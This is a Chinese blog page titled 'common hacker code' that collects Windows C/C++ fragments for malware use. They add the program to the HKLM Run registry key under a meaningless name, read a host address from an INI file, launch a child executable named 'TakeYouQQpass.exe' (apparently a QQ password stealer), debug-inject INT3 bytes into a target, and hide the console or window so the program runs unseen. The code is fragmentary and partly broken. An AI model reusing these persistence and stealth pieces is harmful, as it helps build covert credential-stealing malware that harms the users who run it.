常用黑代码



/////////////////////////自启动
void autoToWindows()
{
    HKEY hKey; 
//找到系统的启动项 
LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
    char pFileName[100] = {0}; 
//打开启动项Key 
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); 
    //得到程序自身的全路径 
    DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH); 





    //添加一个子Key,并设置值 // 下面的"getip"是应用程序名字(不加后缀.exe)
    lRet = RegSetValueEx(hKey, "TTTTTT", 0, REG_SZ, (BYTE *)pFileName, dwRet);

    //关闭注册表 
    RegCloseKey(hKey); 
    if(lRet != ERROR_SUCCESS) 
    { 
        printf("自动失败");
     //   AfxMessageBox("系统参数错误,不能随系统启动"); 
    } 



//CString   str; //添加注册表路径 
//WCHAR*     CurrentPath=(WCHAR*)malloc(sizeof(char)*100);//程序当前路径
}

///////////获取配置文件
int TakeMsgAdd()
{
    WSADATA firstsock;
    char strName2[100]="";
    
    char hostname[100];//"www.hao123.com";
    GetPrivateProfileString("MessageTO","Address",NULL,strName2,100,".\\MessgeTO.ini");
    
    memcpy(hostname,strName2,100);
    
    
    
    RetrieveDnsServersFromRegistry();
    
    printf("\nInitialising Winsock...");
    if (WSAStartup(MAKEWORD(2,2),&firstsock) != 0)
    {
        printf("Failed. Error Code : %d",WSAGetLastError());
        return 1;
    } 
    printf("Initialised.");
    
    printf("\nEnter Hostname to Lookup : ");
    //    gets((char*)hostname);
    //    
    
    
    ngethostbyname((unsigned char *)hostname);
    
    return 0;
}
     
 autoToWindows();



//////////创建进程
    char chPath[301];
    char path[200]= "\\TakeYouQQpass.exe";
    
    
    ::GetCurrentDirectory(300,(LPTSTR)chPath);//得到当前目录
    strcat(chPath,path);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory( &pi, sizeof(pi) );
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    
    // Start the child process
    //ShellExecute(this->m_hWnd,"open",chPath,"","", SW_SHOW ); //,1,支持多个可以隐藏式运行
 //   WinExec(chPath,SW_SHOW);  //1,普通可以隐藏式运行


    if(CreateProcess(chPath, "", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))//3,获取程序资料
    {
        // CloseHandle( pi.hProcess );
        // CloseHandle( pi.hThread );
    }
    else 
    {
        //  //AfxMessageBox("创建失败!");
        //  HANDLE hProcess = GetCurrentProcess();//get current process
        //  TerminateProcess(hProcess,0);         //close process
    } 
///////////////////////////

#define SZFILENAME       ".\\TraceMe.exe"  //目标文件名
    STARTUPINFO                si ;
    PROCESS_INFORMATION        pi ;
    ZeroMemory(&si, sizeof(STARTUPINFO)) ;
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)) ;
    si.cb = sizeof(STARTUPINFO) ;
    
    BOOL    WhileDoFlag=TRUE;
    BYTE    ReadBuffer[MAX_PATH]={0};
    BYTE    dwINT3code[1]={0xCC};
    BYTE    dwOldbyte[1]={0};

    if( !CreateProcess(SZFILENAME, 
        NULL, 
        NULL,  
        NULL,  
        FALSE,   
        DEBUG_PROCESS|DEBUG_ONLY_THIS_PROCESS, 
        NULL,          
        NULL,          
        &si,            
        &pi )        
        ) 
    {
        MessageBox(NULL, "CreateProcess Failed.", "ERROR", MB_OK); 
        return FALSE; 
    } 

//    
//    自启动
  









隐藏运行程序
2010-08-10 17:48
 

 

 

1,打开方式:shellopen

2,代码修改1,命令行程序 ,2,窗口程序

1,命令行程序:

其实是某些程序虽然目标是生成视窗程序,但是却是使用控制台的方式编译的(特别是使用某些从LINLUX平台移植到WINDOWS上来的程序库)。所以在启动时我们会看一个暴露我们实现的命令行窗口。想要隐藏着个窗口,只需要在visual c++中main函数入口前加入
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
这是控制编译器的命令。意思是使用视窗模式编译程序。但将程序入口地址强制设置为main函数(否则程序会因为找不到入口地址而通不过链接)。你也可以在项目属性中linker的选项下设置相应的项来达到此目的。

----------------------------

2,窗口程序:

LRESULT CPackInterDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam) 
{
// TODO: Add your specialized code here and/or call the base class
    if(WM_NCPAINT == message)
    {
        ShowWindow(SW_HIDE);
    }

return CDialog::DefWindowProc(message, wParam, lParam);


}

LRESULT CMainFrame::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
 // TODO: Add your specialized code here and/or call the base class
/*    if(WM_NCPAINT == message)
    {
        ShowWindow(SW_HIDE);
    }*/
 return CFrameWnd::DefWindowProc(message, wParam, lParam);
}
---------------------------------------


 

你可能感兴趣的:(常用黑代码)